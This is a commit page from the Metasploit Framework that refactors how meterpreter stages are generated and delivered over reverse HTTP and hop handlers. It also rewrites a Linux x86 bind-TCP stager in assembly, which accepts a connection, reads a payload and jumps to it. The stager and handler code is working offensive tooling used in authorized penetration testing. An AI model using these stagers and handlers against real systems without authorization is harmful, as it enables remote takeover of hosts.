Skip to content

Commit 7bbc171

Browse files
author
Brent Cook
committed
Land rapid7#5300, meterpreter and stager multi-transport
2 parents 5f39473 + 181c770 commit 7bbc171

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

55 files changed

+1637
-1167
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ PATH
99
json
1010
metasploit-concern (~> 1.0)
1111
metasploit-model (~> 1.0)
12-
metasploit-payloads (= 0.0.3)
12+
metasploit-payloads (= 0.0.5)
1313
msgpack
1414
nokogiri
1515
packetfu (= 1.1.9)
@@ -123,7 +123,7 @@ GEM
123123
activemodel (>= 4.0.9, < 4.1.0)
124124
activesupport (>= 4.0.9, < 4.1.0)
125125
railties (>= 4.0.9, < 4.1.0)
126-
metasploit-payloads (0.0.3)
126+
metasploit-payloads (0.0.5)
127127
metasploit_data_models (1.0.1)
128128
activerecord (>= 4.0.9, < 4.1.0)
129129
activesupport (>= 4.0.9, < 4.1.0)

lib/msf/base/sessions/meterpreter.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -307,6 +307,8 @@ def is_valid_session?(timeout=10)
307307

308308
begin
309309
self.machine_id = self.core.machine_id(timeout)
310+
self.payload_uuid ||= self.core.uuid(timeout)
311+
310312
return true
311313
rescue ::Rex::Post::Meterpreter::RequestError
312314
# This meterpreter doesn't support core_machine_id
@@ -326,8 +328,8 @@ def load_session_info()
326328
begin
327329
::Timeout.timeout(60) do
328330
# Gather username/system information
329-
username = self.sys.config.getuid
330-
sysinfo = self.sys.config.sysinfo
331+
username = self.sys.config.getuid
332+
sysinfo = self.sys.config.sysinfo
331333

332334
safe_info = "#{username} @ #{sysinfo['Computer']}"
333335
safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding)

lib/msf/base/sessions/meterpreter_options.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,6 @@ def initialize(info = {})
1818
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
1919
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
2020
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]),
21-
OptBool.new('StagerCloseListenSocket', [false, "Close the listen socket in the stager", false]),
2221
OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]),
2322
OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]),
2423
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]),

lib/msf/core/handler/reverse_hop_http.rb

Lines changed: 15 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -90,7 +90,7 @@ def start_handler
9090
ReverseHopHttp.hop_handlers[full_uri] = self
9191
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
9292
self) do |uri, hop_http|
93-
hop_http.send_new_stage # send stage to hop
93+
hop_http.send_new_stage(uri) # send stage to hop
9494
delay = 1 # poll delay
9595
# Continue to loop as long as at least one handler or one session is depending on us
9696
until hop_http.refs < 1 && hop_http.handlers.empty?
@@ -138,7 +138,7 @@ def start_handler
138138
:ssl => false,
139139
})
140140
# send new stage to hop so next inbound session will get a unique ID.
141-
hop_http.send_new_stage
141+
hop_http.send_new_stage(uri)
142142
else
143143
hop_http.lock.unlock
144144
end
@@ -241,34 +241,27 @@ def initialize(info = {})
241241
#
242242
# Generates and sends a stage up to the hop point to be ready for the next client
243243
#
244-
def send_new_stage
245-
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
244+
def send_new_stage(uri)
245+
# try to get the UUID out of the existing URI
246+
info = process_uri_resource(uri)
247+
uuid = info[:uuid] || Msf::Payload::UUID.new
248+
249+
# generate a new connect
250+
sum = uri_checksum_lookup(:connect)
251+
conn_id = generate_uri_uuid(sum, uuid)
246252
url = full_uri + conn_id + "/\x00"
247253

248254
print_status("Preparing stage for next session #{conn_id}")
249-
blob = stage_payload
250-
#
251-
# Patch options into the payload
252-
#
253-
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
254-
:ssl => ssl?,
255-
:url => url,
256-
:expiration => datastore['SessionExpirationTimeout'],
257-
:comm_timeout => datastore['SessionCommunicationTimeout'],
258-
:ua => datastore['MeterpreterUserAgent'],
259-
:proxy_host => datastore['PayloadProxyHost'],
260-
:proxy_port => datastore['PayloadProxyPort'],
261-
:proxy_type => datastore['PayloadProxyType'],
262-
:proxy_user => datastore['PayloadProxyUser'],
263-
:proxy_pass => datastore['PayloadProxyPass'])
264-
265-
blob = encode_stage(blob)
255+
blob = stage_payload(
256+
uuid: uuid,
257+
uri: conn_id
258+
)
266259

267260
#send up
268261
crequest = mclient.request_raw(
269262
'method' => 'POST',
270263
'uri' => control,
271-
'data' => blob,
264+
'data' => encode_stage(blob),
272265
'headers' => {'X-init' => 'true'}
273266
)
274267
res = mclient.send_recv(crequest)

lib/msf/core/handler/reverse_http.rb

Lines changed: 6 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
# -*- coding: binary -*-
22
require 'rex/io/stream_abstraction'
33
require 'rex/sync/ref'
4-
require 'rex/payloads/meterpreter/patch'
54
require 'rex/payloads/meterpreter/uri_checksum'
65
require 'rex/post/meterpreter/packet'
76
require 'rex/parser/x509_certificate'
@@ -324,27 +323,12 @@ def on_request(cli, req, obj)
324323

325324
resp['Content-Type'] = 'application/octet-stream'
326325

327-
blob = obj.stage_payload
328-
329-
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
330-
datastore['HandlerSSLCert'])
331-
#
332-
# Patch options into the payload
333-
#
334-
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
335-
:ssl => ssl?,
336-
:url => url,
337-
:ssl_cert_hash => verify_cert_hash,
338-
:expiration => datastore['SessionExpirationTimeout'].to_i,
339-
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
340-
:retry_total => datastore['SessionRetryTotal'].to_i,
341-
:retry_wait => datastore['SessionRetryWait'].to_i,
342-
:ua => datastore['MeterpreterUserAgent'],
343-
:proxy_host => datastore['PayloadProxyHost'],
344-
:proxy_port => datastore['PayloadProxyPort'],
345-
:proxy_type => datastore['PayloadProxyType'],
346-
:proxy_user => datastore['PayloadProxyUser'],
347-
:proxy_pass => datastore['PayloadProxyPass'])
326+
# generate the stage, but pass in the existing UUID and connection id so that
327+
# we don't get new ones generated.
328+
blob = obj.stage_payload(
329+
uuid: uuid,
330+
uri: conn_id
331+
)
348332

349333
resp.body = encode_stage(blob)
350334

lib/msf/core/handler/reverse_http/stageless.rb

Lines changed: 0 additions & 75 deletions
This file was deleted.

lib/msf/core/payload/linux/bind_tcp.rb

Lines changed: 18 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
# -*- coding: binary -*-
22

33
require 'msf/core'
4+
require 'msf/core/payload/transport_config'
45

56
module Msf
67

@@ -14,31 +15,24 @@ module Msf
1415

1516
module Payload::Linux::BindTcp
1617

18+
include Msf::Payload::TransportConfig
1719
include Msf::Payload::Linux
1820

19-
def close_listen_socket
20-
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
21-
end
22-
2321
#
2422
# Generate the first stage
2523
#
2624
def generate
27-
28-
# Generate the simple version of this stager if we don't have enough space
29-
if self.available_space.nil? || required_space > self.available_space
30-
return generate_bind_tcp(
31-
port: datastore['LPORT'],
32-
close_socket: close_listen_socket
33-
)
34-
end
35-
3625
conf = {
37-
port: datastore['LPORT'],
38-
close_socket: close_listen_socket,
39-
reliable: true
26+
port: datastore['LPORT'],
27+
reliable: false
4028
}
4129

30+
# Generate the more advanced stager if we have the space
31+
unless self.available_space.nil? || required_space > self.available_space
32+
conf[:exitfunk] = datastore['EXITFUNC'],
33+
conf[:reliable] = true
34+
end
35+
4236
generate_bind_tcp(conf)
4337
end
4438

@@ -50,19 +44,20 @@ def generate_bind_tcp(opts={})
5044
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
5145
end
5246

47+
def transport_config(opts={})
48+
transport_config_bind_tcp(opts)
49+
end
50+
5351
#
5452
# Determine the maximum amount of space required for the features requested
5553
#
5654
def required_space
5755
# Start with our cached default generated size
58-
space = 104
56+
space = cached_size
5957

6058
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
61-
space += 14
62-
63-
# Adding 6 bytes to the payload when we include the closing of the listen
64-
# socket
65-
space += 6 if close_listen_socket
59+
# TODO: coming soon
60+
#space += 14
6661

6762
# The final estimated size
6863
space
@@ -77,7 +72,6 @@ def required_space
7772
def asm_bind_tcp(opts={})
7873

7974
#reliable = opts[:reliable]
80-
close_socket = opts[:close_socket]
8175
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
8276

8377
asm = %Q^
@@ -99,10 +93,7 @@ def asm_bind_tcp(opts={})
9993
mov ecx,esp
10094
mov al,0x66 ; socketcall syscall
10195
int 0x80 ; invoke socketcall (SYS_SOCKET)
102-
^
10396
104-
unless close_socket
105-
asm << %Q^
10697
; set the SO_REUSEADDR flag on the socket
10798
push ecx
10899
push 4
@@ -119,11 +110,8 @@ def asm_bind_tcp(opts={})
119110
int 0x80
120111
xchg eax,edi ; restore the socket handle
121112
add esp, 0x14
122-
pop ecx
123-
^
124-
end
113+
pop ecx ; restore ecx
125114
126-
asm << %Q^
127115
pop ebx
128116
pop esi
129117
push edx
@@ -138,15 +126,8 @@ def asm_bind_tcp(opts={})
138126
shl ebx,1 ; SYS_LISTEN
139127
mov al,0x66 ; socketcall syscall (SYS_LISTEN)
140128
int 0x80 ; invoke socketcall
141-
^
142129
143-
if close_socket
144-
asm << %Q^
145130
push eax ; stash the listen socket
146-
^
147-
end
148-
149-
asm << %Q^
150131
inc ebx ; SYS_ACCEPT
151132
mov al,0x66 ; socketcall syscall
152133
mov [ecx+0x4],edx
@@ -156,16 +137,9 @@ def asm_bind_tcp(opts={})
156137
mov al,0x3 ; read syscall
157138
int 0x80 ; invoke read
158139
xchg ebx,edi ; stash the accept socket in edi
159-
^
160-
if close_socket
161-
asm << %Q^
162140
pop ebx ; restore the listen socket
163141
mov al,0x6 ; close syscall
164142
int 0x80 ; invoke close
165-
^
166-
end
167-
168-
asm << %Q^
169143
jmp ecx ; jump to the payload
170144
^
171145

0 commit comments

Comments
 (0)